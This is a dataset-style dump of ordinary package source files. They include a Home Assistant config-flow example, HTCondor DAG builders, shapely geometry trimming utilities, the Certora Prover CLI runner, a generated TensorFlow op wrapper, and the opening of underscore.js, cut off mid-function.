id
stringlengths 1
8
| text
stringlengths 6
1.05M
| dataset_id
stringclasses 1
value |
---|---|---|
/hassmart_homeassistant-0.65.4.tar.gz/hassmart_homeassistant-0.65.4/homeassistant/components/config_entry_example.py
|
import asyncio
import voluptuous as vol
from homeassistant import config_entries
from homeassistant.const import ATTR_FRIENDLY_NAME
from homeassistant.util import slugify
DOMAIN = 'config_entry_example'
@asyncio.coroutine
def async_setup(hass, config):
"""Setup for our example component."""
return True
@asyncio.coroutine
def async_setup_entry(hass, entry):
"""Initialize an entry."""
entity_id = '{}.{}'.format(DOMAIN, entry.data['object_id'])
hass.states.async_set(entity_id, 'loaded', {
ATTR_FRIENDLY_NAME: entry.data['name']
})
# Indicate setup was successful.
return True
@asyncio.coroutine
def async_unload_entry(hass, entry):
"""Unload an entry."""
entity_id = '{}.{}'.format(DOMAIN, entry.data['object_id'])
hass.states.async_remove(entity_id)
# Indicate unload was successful.
return True
@config_entries.HANDLERS.register(DOMAIN)
class ExampleConfigFlow(config_entries.ConfigFlowHandler):
"""Handle an example configuration flow."""
VERSION = 1
def __init__(self):
"""Initialize a Hue config handler."""
self.object_id = None
@asyncio.coroutine
def async_step_init(self, user_input=None):
"""Start config flow."""
errors = None
if user_input is not None:
object_id = user_input['object_id']
if object_id != '' and object_id == slugify(object_id):
self.object_id = user_input['object_id']
return (yield from self.async_step_name())
errors = {
'object_id': 'Invalid object id.'
}
return self.async_show_form(
title='Pick object id',
step_id='init',
description="Please enter an object_id for the test entity.",
data_schema=vol.Schema({
'object_id': str
}),
errors=errors
)
@asyncio.coroutine
def async_step_name(self, user_input=None):
"""Ask user to enter the name."""
errors = None
if user_input is not None:
name = user_input['name']
if name != '':
return self.async_create_entry(
title=name,
data={
'name': name,
'object_id': self.object_id,
}
)
return self.async_show_form(
title='Name of the entity',
step_id='name',
description="Please enter a name for the test entity.",
data_schema=vol.Schema({
'name': str
}),
errors=errors
)
|
PypiClean
|
/gw_lts-0.4.0-py3-none-any.whl/gw/lts/dags/__init__.py
|
import os
import htcondor
import itertools
import yaml
from yaml.loader import SafeLoader
from gw.lts.utils import ONE_PER_HOUR, TWO_PER_DAY, ONE_PER_MONTH, TWO_PER_YEAR, FARSTRINGS_DICT
def add_job_opts(job, prefix):
opts = {'executable': os.path.join(prefix, f'bin/{job}'),
'error':f'logs/{job}-$(cluster)-$(process).err',
'output':f'logs/{job}-$(cluster)-$(process).out',
}
return opts
def add_job_args(opts):
args = ''
for (k, v) in opts.items():
if isinstance(v, list):
for vv in v:
args += f'--{k.replace("_", "-")} {vv} '
elif type(v) == bool and v:
args += f'--{k.replace("_", "-")} '
elif type(v) == bool:
continue
else:
args += f'--{k.replace("_", "-")} {v} '
return {'arguments': args}
def get_topics(datasource, topic_suffix, tag):
topics = []
if len(datasource) >= len(topic_suffix):
combinations = [list(zip(p, topic_suffix)) for p in itertools.permutations(datasource, len(topic_suffix))]
else:
combinations = [list(zip(datasource, p)) for p in itertools.permutations(topic_suffix, len(datasource))]
for c in combinations:
for pipeline, topic in c:
topics.append(f'{pipeline}.{tag}.{topic}')
return topics
def add_common_args(config, job):
job_args = {}
job_args.update({
'tag': config['tag'],
'kafka_server': config['kafka_server'],
})
for arg, val in config['jobs'][job].items():
# input topic arg is handled differently
if arg == 'input_topic':
continue
job_args.update({arg: val})
return job_args
def send_inj_stream_layer(dag, config, opts, prefix):
# add job options
opts.update(add_job_opts('send-inj-stream', prefix))
job_args = {}
# add job arguments
job_args.update(add_common_args(config, 'send_inj_stream'))
job_args.update({'data_source': config['data-source']})
job_args.update({'inj-file': config['injections']})
job_args.update({'ifo': [ifo for ifo in config['ifos'].split(',')]})
if 'track-psd' in config['jobs']['send_inj_stream'] or 'track-segments' in config['jobs']['send_inj_stream']:
job_args.update({'input-topic': [topic for topic in config['jobs']['send_inj_stream']['input_topic']]})
opts.update(add_job_args(job_args))
# add job to the dag
dag.layer(name='send_inj_stream', submit_description = htcondor.Submit(opts), retries = '1000')
return dag
def inspinjmsg_find_layer(dag, config, opts, prefix):
# add job options
opts.update(add_job_opts('inspinjmsg-find', prefix))
job_args = {}
# add job arguments
job_args.update(add_common_args(config, 'inspinjmsg_find'))
tag = config['tag']
topics = get_topics(config['data-source'], config['jobs']['inspinjmsg_find']['input_topic'], f'{tag}.testsuite')
job_args.update({'input_topic': topics})
opts.update(add_job_args(job_args))
# add job to the dag
dag.layer(name='inspinjmsg_find', submit_description = htcondor.Submit(opts), retries = '1000')
return dag
def igwn_alert_listener_layer(dag, config, opts, prefix):
# add job options
opts.update(add_job_opts('igwn-alert-listener', prefix))
job_args = {}
# add job arguments
job_args.update(add_common_args(config, 'igwn_alert_listener'))
job_args.update({'gracedb_server': config['gracedb_server']})
opts.update(add_job_args(job_args))
# add job to the dag
dag.layer(name='igwn_alert_listener', submit_description = htcondor.Submit(opts), retries = '1000')
return dag
def inj_missed_found_layer(dag, config, opts, prefix):
# add job options
opts.update(add_job_opts('inj-missed-found', prefix))
for i, source in enumerate(config['data-source']):
job_args = {}
# add job arguments
job_args.update(add_common_args(config, 'inj_missed_found'))
tag = config['tag']
topics = get_topics([source], config['jobs']['inj_missed_found']['input_topic'], f'{tag}.testsuite')
job_args.update({'input_topic': topics})
job_args.update({'scald_config': config['metrics'][source]['config']})
opts.update(add_job_args(job_args))
# add job to the dag
dag.layer(name=f'inj_missed_found_{int(i):04d}', submit_description = htcondor.Submit(opts), retries = '3')
return dag
def vt_layer(dag, config, opts, prefix):
# add job options
opts.update(add_job_opts('vt', prefix))
## for each datasource provided in the config
## we need to add one calculate-expected job
## if that option is given in the config. Then
## we need to add a job to compute VT with each
## far threshold
farstrings = FARSTRINGS_DICT.values()
num_far_jobs = len(farstrings)
tag = config['tag']
for i, source in enumerate(config['data-source']):
# add job arguments
job_args = {}
job_args.update(add_common_args(config, 'vt'))
topics = get_topics([source], config['jobs']['vt']['input_topic'], f'{tag}.testsuite')
job_args.update({
'data_source': source,
'input_topic': topics,
'inj-file': config['injections'],
})
if 'bootstrap-vt' in job_args.keys():
job_args.update({
'scald-config': f'{config["metrics"][source]["config"]}'
})
if 'calculate-expected' in job_args.keys():
opts.update(add_job_args(job_args))
dag.layer(name=f'expected_vt_{int(i):04d}', submit_description = htcondor.Submit(opts), retries = '3')
# remove the options for expected VT calculation
# so we can move on to add regualr VT jobs that
# dont take this option
job_args.pop('calculate-expected')
for f, farstring in enumerate(farstrings):
job_args.update({
'far-threshold': farstring,
})
opts.update(add_job_args(job_args))
dag.layer(name=f'vt_{((num_far_jobs * int(i)) + f):04d}', submit_description = htcondor.Submit(opts), retries = '3')
return dag
def latency_layer(dag, config, opts, prefix):
# add job options
opts.update(add_job_opts('latency', prefix))
job_args = {}
# add job arguments
job_args.update(add_common_args(config, 'latency'))
tag = config['tag']
topics = get_topics(config['data-source'], config['jobs']['latency']['input_topic'], f'{tag}.testsuite')
job_args.update({'input_topic': topics})
opts.update(add_job_args(job_args))
# add job to the dag
dag.layer(name='latency', submit_description = htcondor.Submit(opts), retries = '3')
return dag
def likelihood_layer(dag, config, opts, prefix):
# add job options
opts.update(add_job_opts('likelihood', prefix))
job_args = {}
# add job arguments
job_args.update(add_common_args(config, 'likelihood'))
tag = config['tag']
topics = get_topics(config['data-source'], config['jobs']['likelihood']['input_topic'], f'{tag}.testsuite')
job_args.update({'input_topic': topics})
opts.update(add_job_args(job_args))
# add job to the dag
dag.layer(name='likelihood', submit_description = htcondor.Submit(opts), retries = '3')
return dag
def em_bright_layer(dag, config, opts, prefix):
# add job options
opts.update(add_job_opts('em-bright', prefix))
job_args = {}
# add job arguments
job_args.update(add_common_args(config, 'em_bright'))
tag = config['tag']
topics = get_topics(config['data-source'], config['jobs']['em_bright']['input_topic'], f'{tag}.testsuite')
job_args.update({'input_topic': topics})
job_args.update({'gracedb_server': config['gracedb_server']})
opts.update(add_job_args(job_args))
# add job to the dag
dag.layer(name='em_bright', submit_description = htcondor.Submit(opts), retries = '3')
return dag
def p_astro_layer(dag, config, opts, prefix):
# add job options
opts.update(add_job_opts('p-astro', prefix))
job_args = {}
# add job arguments
job_args.update(add_common_args(config, 'p_astro'))
tag = config['tag']
topics = get_topics(config['data-source'], config['jobs']['p_astro']['input_topic'], f'{tag}.testsuite')
job_args.update({'input_topic': topics})
if 'gdb-pastros' in job_args.keys():
job_args.update({'gracedb_server': config['gracedb_server']})
opts.update(add_job_args(job_args))
# add job to the dag
dag.layer(name='p_astro', submit_description = htcondor.Submit(opts), retries = '3')
return dag
def skymap_layer(dag, config, opts, prefix):
# add job options
opts.update(add_job_opts('skymap', prefix))
job_args = {}
# add job arguments
job_args.update(add_common_args(config, 'skymap'))
tag = config['tag']
topics = get_topics(config['data-source'], config['jobs']['skymap']['input_topic'], f'{tag}.testsuite')
job_args.update({'input_topic': topics})
if 'gdb-skymaps' in job_args.keys():
job_args.update({'gracedb_server': config['gracedb_server']})
opts.update(add_job_args(job_args))
# add job to the dag
dag.layer(name='skymap', submit_description = htcondor.Submit(opts), retries = '3')
return dag
def snr_consistency_layer(dag, config, opts, prefix):
# add job options
opts.update(add_job_opts('snr-consistency', prefix))
job_args = {}
# add job arguments
job_args.update(add_common_args(config, 'snr_consistency'))
tag = config['tag']
topics = get_topics(config['data-source'], config['jobs']['snr_consistency']['input_topic'], f'{tag}.testsuite')
job_args.update({'input_topic': topics})
job_args.update({'ifo': config['ifos'].split(',')})
opts.update(add_job_args(job_args))
# add job to the dag
dag.layer(name=f'snr_consistency', submit_description = htcondor.Submit(opts), retries = '3')
return dag
def inj_accuracy_layer(dag, config, opts, prefix):
# add job options
opts.update(add_job_opts('inj-accuracy', prefix))
for i, source in enumerate(config['data-source']):
job_args = {}
# add job arguments
job_args.update(add_common_args(config, 'inj_accuracy'))
tag = config['tag']
topics = get_topics(config['data-source'], config['jobs']['inj_accuracy']['input_topic'], f'{tag}.testsuite')
job_args.update({'input_topic': topics})
job_args.update({'scald_config': config['metrics'][source]['config']})
opts.update(add_job_args(job_args))
# add job to the dag
dag.layer(name=f'inj_accuracy_{int(i):04d}', submit_description = htcondor.Submit(opts), retries = '3')
return dag
def collect_metrics_layer(dag, config, config_path, opts, prefix):
# load options from the config
kafka_server = config['kafka_server']
tag = config['tag']
for i, source in enumerate(config['data-source']):
# grab the web config
web_config_path = config['metrics'][source]['config']
with open(web_config_path, 'r') as f:
web_config = yaml.load(f, Loader=SafeLoader)
# add job options
opts.update({'executable': os.path.join(prefix, f'bin/scald'),
'error':'logs/scald_metric_collector-$(cluster)-$(process).err',
'output':'logs/scald_metric_collector-$(cluster)-$(process).out',
})
metrics = [metric for metric in web_config['schemas']]
# these metrics are special, they dont get aggregated
# by the metric collector
for metric in ('triggers', 'missed_triggers', 'analysis_start', 'parameter_accuracy'):
if metric in metrics:
metrics.remove(metric)
# add scald jobs to process all metrics in groups of 4
for j, metric_group in enumerate(scald_topics_grouper(metrics, 4)):
arguments = f'aggregate --config {web_config_path} --uri kafka://{tag}@{kafka_server} --data-type timeseries'
for metric in metric_group:
arguments += f' --topic {source}.{tag}.testsuite.{metric} --schema {metric}'
opts.update({'arguments': arguments})
dag.layer(name=f'scald_metric_collector_{i*1000+j:04d}', submit_description = htcondor.Submit(opts), retries = '1000')
return dag
def scald_topics_grouper(seq, size):
return (seq[idx:idx + size] for idx in range(0, len(seq), size))
|
PypiClean
|
/neuron_morphology-1.1.7-py3-none-any.whl/neuron_morphology/snap_polygons/cortex_surfaces.py
|
from typing import Union, Tuple, Callable, Sequence
import copy as cp
import logging
from shapely.geometry import LineString, Point
from shapely.geometry.base import BaseGeometry
from neuron_morphology.snap_polygons.types import LineType, ensure_linestring
ConditionFn = Callable[[Point], bool]
def trim_to_close(
geometry: BaseGeometry,
threshold: float,
linestring: LineType,
iterations: int = 10
) -> LineString:
"""Find the longest segment of a linestring whose endpoints are within a
specified distance of a geometry.
Parameters
----------
geometry : Acceptable distances are defined as extending from this object.
threshold : Acceptable distances are less than or equal to this value
linestring : to be trimmed (not in place)
iterations : Use this many iterations to refine the endpoints of the
linestring
Returns
-------
a trimmed copy of the input linestring
"""
linestring = ensure_linestring(cp.deepcopy(linestring))
def condition(point: Point) -> bool:
return geometry.distance(Point(point)) <= threshold
try:
coords = trim_coords(
linestring.coords,
condition=condition,
iterations=iterations,
)
except ValueError:
logging.error("no point within %s of argued geometry", threshold)
raise
return LineString(coords)
def find_transition(
unmet: Point,
met: Point,
condition: ConditionFn,
iterations: int
) -> Point:
"""Given two points in space, one of which meets a condition, locate the
position along a line segment between these points where the condition
becomes true.
Parameters
----------
unmet : a point at which the condition is not met
met : a point at which the condition is met
condition : used to evaluate intermediate points
iterations : refine this many times
Returns
-------
A point along the input segment at which the condition is met.
Notes
-----
No such transition point is required to exist. In that case, this function
will find an arbitrary condition-meeting point along the segment. For our
use case, this misbehavior is tolerable because an exact transition point
is not required.
"""
segment = LineString([unmet, met])
midpoint = segment.interpolate(segment.length / 2)
if condition(midpoint):
met = midpoint
else:
unmet = midpoint
if iterations > 0:
return find_transition(unmet, met, condition, iterations - 1)
return met
def first_met(
coords: Sequence[Union[Point, Tuple]],
condition: ConditionFn,
iterations: int
) -> Tuple[int, Point]:
"""Locate the first point along a coordinate sequence at which a condition
is met.
Parameters
----------
coords : sequence to evaluate
condition : used to evaluate points
iterations : how many times to refine the transition point.
Returns
-------
The index and value of the transition point.
"""
for idx, coord in enumerate(coords):
coord = Point(coord)
met = condition(coord)
if met:
if idx == 0:
return idx, coord
return idx, find_transition(
coords[idx - 1], coord, condition, iterations
)
raise ValueError("condition never met!")
def remove_duplicates(coords: Sequence[Point]) -> Sequence[Point]:
"""Remove duplicate points from a coordinate sequence.
Parameters
----------
coords : sequence with potential duplicates
Returns
-------
list of coordinates with duplicates removed
"""
if len(coords) < 2:
return coords
out = [coords[0]]
for coord in coords[1:]:
coord = Point(coord)
if coord != out[-1]:
out.append(coord)
return out
def trim_coords(
coords: Sequence[Union[Point, Tuple]],
condition: ConditionFn,
iterations: int
):
"""Find the longest subinterval of a coordinate sequence whose endpoints
meet some condition.
Parameters
----------
coords : sequence to trim
condition : used to evaluate points
iterations : how many times to refine the endpoints.
Returns
-------
Trimmed sequence
"""
left_index, left_pt = first_met(coords, condition, iterations)
right_index, right_pt = first_met(coords[::-1], condition, iterations)
if right_index > 0:
coords = list(coords[:-right_index]) + [right_pt]
if left_index > 0:
coords = [left_pt] + list(coords[left_index:])
return remove_duplicates(coords)
|
PypiClean
|
/certora-cli-alpha-dudi-ci_dynamic-20230314.6.30.405610.tar.gz/certora-cli-alpha-dudi-ci_dynamic-20230314.6.30.405610/certora_cli/certoraRun.py
|
import sys
import time
import logging
from typing import List, Optional
from pathlib import Path
scripts_dir_path = Path(__file__).parent.resolve() # containing directory
sys.path.insert(0, str(scripts_dir_path))
from Shared.certoraUtils import run_jar_cmd
from Shared.certoraUtils import check_results_from_file, is_ci_or_git_action, run_local_spec_check
from Shared.certoraUtils import remove_file
from Shared.certoraUtils import CertoraUserInputError
from Shared.certoraUtils import get_certora_internal_dir, safe_create_dir
from Shared.certoraUtils import Mode, reset_certora_internal_dir
from Shared.certoraUtils import print_completion_message, mode_has_spec_file
from EVMVerifier.certoraCloudIO import CloudVerification, validate_version_and_branch
from EVMVerifier.certoraCollectRunMetadata import collect_run_metadata
from Shared.certoraLogging import LoggingManager
from EVMVerifier.certoraBuild import build
from EVMVerifier.certoraContext import get_local_run_cmd, get_args
from EVMVerifier import certoraContextValidator as Cv
BUILD_SCRIPT_PATH = Path("EVMVerifier/certoraBuild.py")
# logger for issues regarding the general run flow.
# Also serves as the default logger for errors originating from unexpected places.
run_logger = logging.getLogger("run")
def run_certora(args: List[str], is_library: bool = False) -> Optional[Path]:
"""
The main function that is responsible for the general flow of the script.
The general flow is:
1. Parse program arguments
2. Run the necessary steps (type checking/ build/ cloud verification/ local verification)
3. Shut down
IMPORTANT - if run_certora is not run with is_library set to true we assume the scripts always reaches the
shut down code. DO NOT USE SYS.EXIT() IN THE SCRIPT FILES!
If is_library is set to False The program terminates with an exit code of 0 in case of success and 1 otherwise
If is_library is set to True and the prover does not run locally the link to the status url is returned, else None
is returned
"""
# If we are not in debug mode, we do not want to print the traceback in case of exceptions.
if '--debug' not in args: # We check manually, because we want no traceback in argument parsing exceptions
sys.tracebacklimit = 0
# creating the default internal dir, files may be copied to user defined build directory after
# parsing the input
reset_certora_internal_dir()
safe_create_dir(get_certora_internal_dir())
logging_manager = LoggingManager()
# adds ' around arguments with spaces
pretty_args = [f"'{arg}'" if ' ' in str(arg) else str(arg) for arg in args]
context, conf_dict = get_args(args) # Parse arguments
logging_manager.set_log_level_and_format(is_quiet=context.short_output,
debug=context.debug,
debug_topics=context.debug_topics,
show_debug_topics=context.show_debug_topics)
if context.short_output is False:
if is_ci_or_git_action():
context.short_output = True
timings = {}
exit_code = 0 # The exit code of the script. 0 means success, any other number is an error.
return_value = None
try:
collect_run_metadata(wd=Path.cwd(), raw_args=sys.argv, conf_dict=conf_dict, context=context) \
.dump()
# When a TAC file is provided, no build arguments will be processed
if context.mode not in [Mode.TAC]:
run_logger.debug(f"There is no TAC file. Going to script {BUILD_SCRIPT_PATH} to main_with_args()")
build_start = time.perf_counter()
# If we are not in CI, we also check the spec for Syntax errors.
build(context, ignore_spec_syntax_check=is_library)
build_end = time.perf_counter()
timings["buildTime"] = round(build_end - build_start, 4)
if not context.build_only and exit_code == 0: # either we skipped building (TAC MODE) or build succeeded
if context.local:
compare_with_expected_file = Path(context.expected_file).exists()
specified_tool_output = context.tool_output is not None
# If we want to compare results we have tell the jar where to store the output of the current run,
# But we don't want to override the path if it was specified
if compare_with_expected_file and not specified_tool_output:
context.tool_output = 'tmpOutput.json'
check_cmd = get_local_run_cmd(context)
# In local mode, this is reserved for Certora devs, so let the script print it
print(f"Verifier run command:\n {check_cmd}", flush=True)
run_result = \
run_jar_cmd(check_cmd, compare_with_expected_file, logger_topic="verification", print_output=True)
if run_result != 0:
exit_code = 1
else:
print_completion_message("Finished running verifier:")
print(f"\t{check_cmd}")
if compare_with_expected_file:
print("Comparing tool output to the expected output:")
result = check_results_from_file(context.tool_output, context.expected_file)
if not result:
exit_code = 1
if not specified_tool_output:
# Remove actual before starting the current test
remove_file(context.tool_output)
else: # Remote run
# In cloud mode, we first run a local type checker
"""
Before running the local type checker, we see if the current package version is compatible with
the latest. We check it before running the local type checker, because local type checking
errors could be simply a result of syntax introduced in the newest version.
The line below Will raise an exception if the local version is incompatible.
"""
validate_version_and_branch(context.cloud if context.cloud else context.staging,
context.commit_sha1)
# Syntax checking and typechecking
if mode_has_spec_file(context.mode):
if context.disableLocalTypeChecking:
run_logger.warning(
"Local checks of CVL specification files disabled. It is recommended to enable "
"the checks.")
else:
typechecking_start = time.perf_counter()
spec_check_failed = run_local_spec_check(with_typechecking=True)
if spec_check_failed:
raise CertoraUserInputError("Specification file error")
else:
typechecking_end = time.perf_counter()
timings['typecheckingTime'] = round(typechecking_end - typechecking_start, 4)
if not context.typecheck_only and exit_code == 0: # Local typechecking either succeeded or skipped
context.key = Cv.validate_certora_key()
cloud_verifier = CloudVerification(context, timings)
# Wrap strings with space with ' so it can be copied and pasted to shell
pretty_args = [f"'{arg}'" if ' ' in arg else arg for arg in args]
cl_args = ' '.join(pretty_args)
logging_manager.remove_debug_logger()
result = cloud_verifier.cli_verify_and_report(cl_args, context.send_only)
if cloud_verifier.statusUrl:
return_value = Path(cloud_verifier.statusUrl)
if not result:
exit_code = 1
except Exception as e:
err_msg = "Encountered an error running Certora Prover"
if isinstance(e, CertoraUserInputError):
err_msg = f"{err_msg}:\n{e}"
else:
err_msg += ", please contact Certora"
if not logging_manager.is_debugging:
err_msg += "; consider running the script again with --debug to find out why it failed"
run_logger.debug("Failure traceback: ", exc_info=e)
run_logger.fatal(err_msg)
exit_code = 1
except KeyboardInterrupt:
print('\nInterrupted by user', flush=True) # We go down a line because last characters in terminal were ^C
sys.exit(1) # We exit ALWAYS, even if we are running from a library
# If the exit_code is 0, we do not call sys.exit() -> calling sys.exit() also exits any script that wraps this one
if not is_library and exit_code != 0:
sys.exit(exit_code)
return return_value
def entry_point() -> None:
"""
This function is the entry point of the certora_cli customer-facing package, as well as this script.
It is important this function gets no arguments!
"""
run_certora(sys.argv[1:], is_library=False)
if __name__ == '__main__':
entry_point()
|
PypiClean
|
/tensorflow_aarch64-2.14.0rc0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl/tensorflow/compiler/mlir/tensorflow/gen_mlir_passthrough_op.py
|
import collections
from tensorflow.python import pywrap_tfe as pywrap_tfe
from tensorflow.python.eager import context as _context
from tensorflow.python.eager import core as _core
from tensorflow.python.eager import execute as _execute
from tensorflow.python.framework import dtypes as _dtypes
from tensorflow.security.fuzzing.py import annotation_types as _atypes
from tensorflow.python.framework import op_def_registry as _op_def_registry
from tensorflow.python.framework import ops as _ops
from tensorflow.python.framework import op_def_library as _op_def_library
from tensorflow.python.util.deprecation import deprecated_endpoints
from tensorflow.python.util import dispatch as _dispatch
from tensorflow.python.util.tf_export import tf_export
from typing import TypeVar, List
@_dispatch.add_fallback_dispatch_list
@_dispatch.add_type_based_api_dispatcher
@tf_export('mlir_passthrough_op')
def mlir_passthrough_op(inputs, mlir_module: str, Toutputs, name=None):
r"""TODO: add doc.
Args:
inputs: A list of `Tensor` objects.
mlir_module: A `string`.
Toutputs: A list of `tf.DTypes`.
name: A name for the operation (optional).
Returns:
A list of `Tensor` objects of type `Toutputs`.
"""
_ctx = _context._context or _context.context()
tld = _ctx._thread_local_data
if tld.is_eager:
try:
_result = pywrap_tfe.TFE_Py_FastPathExecute(
_ctx, "MlirPassthroughOp", name, inputs, "mlir_module", mlir_module,
"Toutputs", Toutputs)
return _result
except _core._NotOkStatusException as e:
_ops.raise_from_not_ok_status(e, name)
except _core._FallbackException:
pass
try:
_result = _dispatcher_for_mlir_passthrough_op(
(inputs, mlir_module, Toutputs, name,), None)
if _result is not NotImplemented:
return _result
return mlir_passthrough_op_eager_fallback(
inputs, mlir_module=mlir_module, Toutputs=Toutputs, name=name,
ctx=_ctx)
except _core._SymbolicException:
pass # Add nodes to the TensorFlow graph.
except (TypeError, ValueError):
_result = _dispatch.dispatch(
mlir_passthrough_op, (), dict(inputs=inputs,
mlir_module=mlir_module,
Toutputs=Toutputs, name=name)
)
if _result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return _result
raise
else:
_result = _dispatcher_for_mlir_passthrough_op(
(inputs, mlir_module, Toutputs, name,), None)
if _result is not NotImplemented:
return _result
# Add nodes to the TensorFlow graph.
mlir_module = _execute.make_str(mlir_module, "mlir_module")
if not isinstance(Toutputs, (list, tuple)):
raise TypeError(
"Expected list for 'Toutputs' argument to "
"'mlir_passthrough_op' Op, not %r." % Toutputs)
Toutputs = [_execute.make_type(_t, "Toutputs") for _t in Toutputs]
try:
_, _, _op, _outputs = _op_def_library._apply_op_helper(
"MlirPassthroughOp", inputs=inputs, mlir_module=mlir_module,
Toutputs=Toutputs, name=name)
except (TypeError, ValueError):
_result = _dispatch.dispatch(
mlir_passthrough_op, (), dict(inputs=inputs,
mlir_module=mlir_module,
Toutputs=Toutputs, name=name)
)
if _result is not _dispatch.OpDispatcher.NOT_SUPPORTED:
return _result
raise
_result = _outputs[:]
if _execute.must_record_gradient():
_attrs = ("mlir_module", _op.get_attr("mlir_module"), "Tinputs",
_op.get_attr("Tinputs"), "Toutputs", _op.get_attr("Toutputs"))
_inputs_flat = _op.inputs
_execute.record_gradient(
"MlirPassthroughOp", _inputs_flat, _attrs, _result)
return _result
MlirPassthroughOp = tf_export("raw_ops.MlirPassthroughOp")(_ops.to_raw_op(mlir_passthrough_op))
_dispatcher_for_mlir_passthrough_op = mlir_passthrough_op._tf_type_based_dispatcher.Dispatch
def mlir_passthrough_op_eager_fallback(inputs, mlir_module: str, Toutputs, name, ctx):
mlir_module = _execute.make_str(mlir_module, "mlir_module")
if not isinstance(Toutputs, (list, tuple)):
raise TypeError(
"Expected list for 'Toutputs' argument to "
"'mlir_passthrough_op' Op, not %r." % Toutputs)
Toutputs = [_execute.make_type(_t, "Toutputs") for _t in Toutputs]
_attr_Tinputs, inputs = _execute.convert_to_mixed_eager_tensors(inputs, ctx)
_inputs_flat = list(inputs)
_attrs = ("mlir_module", mlir_module, "Tinputs", _attr_Tinputs, "Toutputs",
Toutputs)
_result = _execute.execute(b"MlirPassthroughOp", len(Toutputs),
inputs=_inputs_flat, attrs=_attrs, ctx=ctx,
name=name)
if _execute.must_record_gradient():
_execute.record_gradient(
"MlirPassthroughOp", _inputs_flat, _attrs, _result)
return _result
|
PypiClean
|
/yammh3-0.1.2.tar.gz/yammh3-0.1.2/docs/_build/singlehtml/_static/underscore-1.3.1.js
|
(function() {
// Baseline setup
// --------------
// Establish the root object, `window` in the browser, or `global` on the server.
var root = this;
// Save the previous value of the `_` variable.
var previousUnderscore = root._;
// Establish the object that gets returned to break out of a loop iteration.
var breaker = {};
// Save bytes in the minified (but not gzipped) version:
var ArrayProto = Array.prototype, ObjProto = Object.prototype, FuncProto = Function.prototype;
// Create quick reference variables for speed access to core prototypes.
var slice = ArrayProto.slice,
unshift = ArrayProto.unshift,
toString = ObjProto.toString,
hasOwnProperty = ObjProto.hasOwnProperty;
// All **ECMAScript 5** native function implementations that we hope to use
// are declared here.
var
nativeForEach = ArrayProto.forEach,
nativeMap = ArrayProto.map,
nativeReduce = ArrayProto.reduce,
nativeReduceRight = ArrayProto.reduceRight,
nativeFilter = ArrayProto.filter,
nativeEvery = ArrayProto.every,
nativeSome = ArrayProto.some,
nativeIndexOf = ArrayProto.indexOf,
nativeLastIndexOf = ArrayProto.lastIndexOf,
nativeIsArray = Array.isArray,
nativeKeys = Object.keys,
nativeBind = FuncProto.bind;
// Create a safe reference to the Underscore object for use below.
var _ = function(obj) { return new wrapper(obj); };
// Export the Underscore object for **Node.js**, with
// backwards-compatibility for the old `require()` API. If we're in
// the browser, add `_` as a global object via a string identifier,
// for Closure Compiler "advanced" mode.
if (typeof exports !== 'undefined') {
if (typeof module !== 'undefined' && module.exports) {
exports = module.exports = _;
}
exports._ = _;
} else {
root['_'] = _;
}
// Current version.
_.VERSION = '1.3.1';
// Collection Functions
// --------------------
// The cornerstone, an `each` implementation, aka `forEach`.
// Handles objects with the built-in `forEach`, arrays, and raw objects.
// Delegates to **ECMAScript 5**'s native `forEach` if available.
var each = _.each = _.forEach = function(obj, iterator, context) {
if (obj == null) return;
if (nativeForEach && obj.forEach === nativeForEach) {
obj.forEach(iterator, context);
} else if (obj.length === +obj.length) {
for (var i = 0, l = obj.length; i < l; i++) {
if (i in obj && iterator.call(context, obj[i], i, obj) === breaker) return;
}
} else {
for (var key in obj) {
if (_.has(obj, key)) {
if (iterator.call(context, obj[key], key, obj) === breaker) return;
}
}
}
};
// Return the results of applying the iterator to each element.
// Delegates to **ECMAScript 5**'s native `map` if available.
_.map = _.collect = function(obj, iterator, context) {
var results = [];
if (obj == null) return results;
if (nativeMap && obj.map === nativeMap) return obj.map(iterator, context);
each(obj, function(value, index, list) {
results[results.length] = iterator.call(context, value, index, list);
});
if (obj.length === +obj.length) results.length = obj.length;
return results;
};
// **Reduce** builds up a single result from a list of values, aka `inject`,
// or `foldl`. Delegates to **ECMAScript 5**'s native `reduce` if available.
_.reduce = _.foldl = _.inject = function(obj, iterator, memo, context) {
var initial = arguments.length > 2;
if (obj == null) obj = [];
if (nativeReduce && obj.reduce === nativeReduce) {
if (context) iterator = _.bind(iterator, context);
return initial ? obj.reduce(iterator, memo) : obj.reduce(iterator);
}
each(obj, function(value, index, list) {
if (!initial) {
memo = value;
initial = true;
} else {
memo = iterator.call(context, memo, value, index, list);
}
});
if (!initial) throw new TypeError('Reduce of empty array with no initial value');
return memo;
};
// The right-associative version of reduce, also known as `foldr`.
// Delegates to **ECMAScript 5**'s native `reduceRight` if available.
_.reduceRight = _.foldr = function(obj, iterator, memo, context) {
var initial = arguments.length > 2;
if (obj == null) obj = [];
if (nativeReduceRight && obj.reduceRight === nativeReduceRight) {
if (context) iterator = _.bind(iterator, context);
return initial ? obj.reduceRight(iterator, memo) : obj.reduceRight(iterator);
}
var reversed = _.toArray(obj).reverse();
if (context && !initial) iterator = _.bind(iterator, context);
return initial ? _.reduce(reversed, iterator, memo, context) : _.reduce(reversed, iterator);
};
// Return the first value which passes a truth test. Aliased as `detect`.
_.find = _.detect = function(obj, iterator, context) {
var result;
any(obj, function(value, index, list) {
if (iterator.call(context, value, index, list)) {
result = value;
return true;
}
});
return result;
};
// Return all the elements that pass a truth test.
// Delegates to **ECMAScript 5**'s native `filter` if available.
// Aliased as `select`.
_.filter = _.select = function(obj, iterator, context) {
var results = [];
if (obj == null) return results;
if (nativeFilter && obj.filter === nativeFilter) return obj.filter(iterator, context);
each(obj, function(value, index, list) {
if (iterator.call(context, value, index, list)) results[results.length] = value;
});
return results;
};
// Return all the elements for which a truth test fails.
_.reject = function(obj, iterator, context) {
var results = [];
if (obj == null) return results;
each(obj, function(value, index, list) {
if (!iterator.call(context, value, index, list)) results[results.length] = value;
});
return results;
};
// Determine whether all of the elements match a truth test.
// Delegates to **ECMAScript 5**'s native `every` if available.
// Aliased as `all`.
_.every = _.all = function(obj, iterator, context) {
var result = true;
if (obj == null) return result;
if (nativeEvery && obj.every === nativeEvery) return obj.every(iterator, context);
each(obj, function(value, index, list) {
if (!(result = result && iterator.call(context, value, index, list))) return breaker;
});
return result;
};
// Determine if at least one element in the object matches a truth test.
// Delegates to **ECMAScript 5**'s native `some` if available.
// Aliased as `any`.
var any = _.some = _.any = function(obj, iterator, context) {
iterator || (iterator = _.identity);
var result = false;
